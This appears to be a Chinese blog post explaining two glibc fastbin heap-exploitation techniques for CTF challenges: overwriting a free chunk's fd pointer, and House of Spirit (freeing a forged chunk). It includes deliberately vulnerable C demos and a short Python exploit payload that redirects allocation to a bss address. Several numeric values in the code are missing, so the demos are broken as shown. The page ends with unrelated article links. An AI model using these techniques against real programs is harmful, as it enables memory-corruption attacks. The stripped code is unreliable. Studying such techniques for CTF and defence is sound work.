Linux下fastbin利用小结——fd覆盖与任意地址free(House of Spirit)
linux下的fastbin是ctf中pwn题的重点出题点。去年(2015)中,XCTF就有两站是使用fastbin的利用作为pwn400的压轴题来出现,这也是我刚开始接触fastbin的利用,参考了k0sh1师傅写在freebuf上的一篇文章。我写了几个demo来说明问题。
目录
1.关于fastbin
2.覆盖fd指针实现利用
3.任意地址free实现利用(House of Spirit)
1.关于fastbin
我们一般熟悉的堆都是双链表的chunk,但是对于大小为(16 Bytes~ 64 Bytes)的堆块来说则是使用fastbin来进行管理的。
fastbin的堆块结构与常规的chunk是完全一样,除了使用的是单链表。

如上图就是一个正在使用中的fastbin块的结构

这是未被使用fastbin块。
通过这两幅图可以看出,原本是双链表(fd和bd)的位置现变成了单链表(fd)。
而fastbin就是依靠单链表来组织的,堆管理结构始终维护一个指向最后一个chunk的指针。这个指针决定了下一次要分配的chunk地址。
未被使用的chunk被链入单链表中,单链表的第一个chunk成员的fd值为NULL。
具体的链表情况如下:

其中最上面的是指向单链表最后chunk块的指针,chunk3因为是第一个chunk所以fd=0。
2.覆盖fd指针实现利用
当一个fastbin堆块存在堆溢出的时候,这种方法就可以使用了。简要的过程就是通过溢出覆盖一个在单链表中的chunk块的fd指针,当再次分配后(至少分配两次),就会在被覆盖的fd处分配fastbin chunk块,从而实现向任意地址分配堆块。
下面详细解释一下:
1.成功利用的条件
- 存在可被溢出的fastbin chunk块,要求可以使chunk块的fd能被控制
- 欲被分配的地址,要求此地址的内容可控(存在size域)
2.如何利用
- 分配两个fastbin chunk
- 使用第一个(位于低地址)覆盖第二个(位于高地址)的fd指针。注意,第一个应该是已被分配的,不然就没法写入导致溢出。第二个应该是未被分配的,不然就不存在fd也不存在分配的问题了。
- 在欲分配的地址,比如bss段上构造一个伪chunk结构,比如l32(0x0)+l32(41)+l32(0x0)(即前块正在使用中+本块大小为40+fd为0)
- 进行分配即可得到任意地址分配堆块的效果。从而可以实现任意地址写任意值的效果。
tips:指向的应为堆头的地址,而不是malloc返回的用户指针的位置
3.演示demo
int BufForTst[]; int main(int argc, char *argv[])
{
void *buf0,*buf1,*buf2,*buf3;
BufForTst[]=0x29;
buf0 = malloc();
buf1 = malloc();
printf("正常的chunk1、chunk2被分配\n");
free(buf1);
printf("chunk2被释放\n");
printf("break\n");//for debug
read(, buf0, );//overflow
buf2 = malloc();
buf3 = malloc();
printf("发生溢出的chunk2被分配\n%p\n溢出改写的fd地址被分配\n%p\n",buf2,buf3);
return ;
}
这个例程展示了如何通过覆盖fd指针实现向bss段分配堆块
from zio import *
io=zio('./tst',timeout=9999)
#io.gdb_hint()
io.read_until('break')
sc='a'*32+l32(0x0)+l32(0x29)+l32(0x804A060)
#sc='abcd'
io.writeline(sc)
io.read()
这个exp配合使用。命令如下
gcc tst.c -o tst
python exp.py
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == ? : )) - )
...
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, ))
{
errstr = "malloc(): memory corruption (fast)";
注意,因为检查中没有进行对齐处理。所以可以利用错位来构造一个伪size结构以实现fasbin attack
3.任意地址free实现利用(House of Spirit)
当可以通过某种方式(比如栈溢出)控制free的参数时,就可以使用House of Spirit实现利用。大概的思路是free你要任意分配的地址,然后这个地址就会在再次分配的时候被分配到,但是要任意分配的地址要提起构造好伪chunk结构。
下面详细解释一下:
1.成功利用的条件
- free的参数可控,可以指向欲分配的地址。
- 欲分配的地址要求内容可控,可以提前构造伪chunk
2.如何利用
- 在欲分配的地址上构造伪chunk。由于堆的检验机制,要求构造连续的两个伪chunk。比如l32(0x0)+l32(41)+'aaaa'*8 +l32(0x0)+l32(41)
- 控制free的参数,指向chunk的地址
- 再次分配就可以在指定地点分配chunk了
tips:free的地址为malloc的地址,也就是堆头+8的地址。
3.演示demo
int TstBuf[];
int main(int argc, char *argv[])
{
void *p;
int i;
TstBuf[]=0x29;//为什么是0x29?因为32+8+FLAG位
TstBuf[]=0X29;//
p=malloc();
printf("正常的堆分配:%p\n",p);
p=(int *)0x804A068;
free(p);
printf("free了一个任意地址\n");
p=malloc();
printf("再次分配堆,可以看到分配到了任意地址上:%p\n",p);
}
成功的把堆块分配到了bss上,为了方便我硬编码了,可以根据自己的情况修改。
Linux下fastbin利用小结——fd覆盖与任意地址free(House of Spirit)的更多相关文章
- CTF中做Linux下漏洞利用的一些心得
其实不是很爱搞Linux,但是因为CTF必须要接触一些,漏洞利用方面也是因为CTF基本都是linux的pwn题目. 基本的题目分类,我认为就下面这三种,这也是常见的类型. 下面就分类来说说 0x0.栈 ...
- 浅谈linux 下,利用Nginx服务器代理实现ajax跨域请求。
ajax跨域请求对于前端开发者几乎在任何一个项目中都会用到,众所周知,跨域请求有三种方式: jsonp; XHR2 代理: jsonp: 这种应该是开发中是使用的最多的,最常见的跨域请求方法,其实aj ...
- Linux下的C Socket编程 -- 获取对方IP地址
Linux下的C Socket编程(二) 获取域名对应的IP地址 经过上面的讨论,如果我们想要连接到远程的服务器,我们需要知道对方的IP地址,系统函数gethostbyname便能够实现这个目的.它能 ...
- linux下如何查看主机的外网ip地址
在linux下如果我们使用的是nat方式上网.通过ifconfig命令查看到的ip地址往往是内网地址 那么如何查看主机在互联网上使用的公网IP呢?我们可以在命令行下使用curl命令实现这个功能. [r ...
- Linux下cp -rf总是提示覆盖的解决办法
通常情况下使用cp -rf进行文件或者文件夹的管理时一般就不再提醒是否覆盖.然而在内网的一台机器上使用cp -rf却提示是否覆盖.难道和常用的命令不同? [root@xxxx test]# cp -r ...
- linux下移动或者复制文件覆盖相同文件夹时,文件夹里面的每个文件都提示是否覆盖
链接地址:http://blog.chinaunix.net/uid-23683795-id-2391087.html # vi ~/.bashrc 如果你看到如下内容,以下命令都会用别名执行了, ...
- Linux下vi命令小结
进入vi的命令 vi filename :打开或新建文件,并将光标置于第一行首 vi n filename :打开文件,并将光标置于第n行首 vi filename :打 ...
- linux下编译利用CMakeLists.txt 编译C++写的opencv程序
https://hihozhou.com/blog/2017/05/11/linux-compile-opencv-c++-file.html cmake . make -j8
- linux 下查看硬件信息(mac,IP地址,硬盘型号,序列号等)
一.查看网卡mac地址 #安装lshw [root@server ~]# yum install lshw #使用方法 [root@rsync-server ~]# lshw -c network * ...
随机推荐
- linux命令总结之ls命令
ls命令是linux下最常用的命令之一,ls跟dos下的dir命令是一样的都是用来列出目录下的文件,下面我们就来一起看看ls的用法 英文全名:List即列表的意思,当我们学习某种东西的时候要做到知其所 ...
- python 常用模块之os
1.权限判断 bool: os.access('/python/test.py',os.F_OK) #是否存在 bool: os.access('/python/test.py',os.R_OK) # ...
- 解决错误:Couldn't open file /etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7
在使用yum install的时候,偶尔会碰见这样的错误:Couldn’t open file /etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7 这是因为在你的 /etc/yum ...
- HDU 2814 斐波那契循环节 欧拉降幂
一看就是欧拉降幂,问题是怎么求$fib(a^b)$,C给的那么小显然还是要找循环节.数据范围出的很那啥..unsigned long long注意用防爆的乘法 /** @Date : 2017-09- ...
- spark-shell启动spark报错
前言 离线安装好CDH.Coudera Manager之后,通过Coudera Manager安装所有自带的应用,包括hdfs.hive.yarn.spark.hbase等应用,过程很是波折,此处就不 ...
- Elasticsearch技术解析与实战(一)基础概念及环境搭建
序言 ES数据架构的主要概念(与关系数据库Mysql对比) 集群(cluster) 集群,一个ES集群由一个或多个节点(Node)组成,每个集群都有一个cluster name作为标识.一下是我们的4 ...
- 【Foreign】动态规划 [分治][DP]
动态规划 Time Limit: 50 Sec Memory Limit: 128 MB Description 一开始有n个数,一段区间的价值为这段区间相同的数的对数. 我们想把这n个数切成恰好k ...
- SpringBoot与异步任务、定时任务、邮件任务
异步任务 在需要开启异步的服务加上注解:@Async @Service public class AsyncService { //告诉SpringBoot这是一个异步任务,SpringBoot会自动 ...
- opencv的基本数据结构(二)(转)
转自:原文链接,以下代码.图片.内容有点改动,只为转载不降低博客内容的可阅性,版权归原作者所有. OpenCV中强大的Mat类型大家已经比较熟悉了.这里梳理一些在工程中其他经常用到的几种基本数据类型. ...
- RGB, YUV及相关标准
最近在一次排查问题的过程中发现色彩空间及色彩空间转换也有很多技术细节,而理清这些细节能帮助我们更准确的定位视频方面的问题. 1. 色彩空间 色彩空间一词源于英文的“Color Space”,色彩学中, ...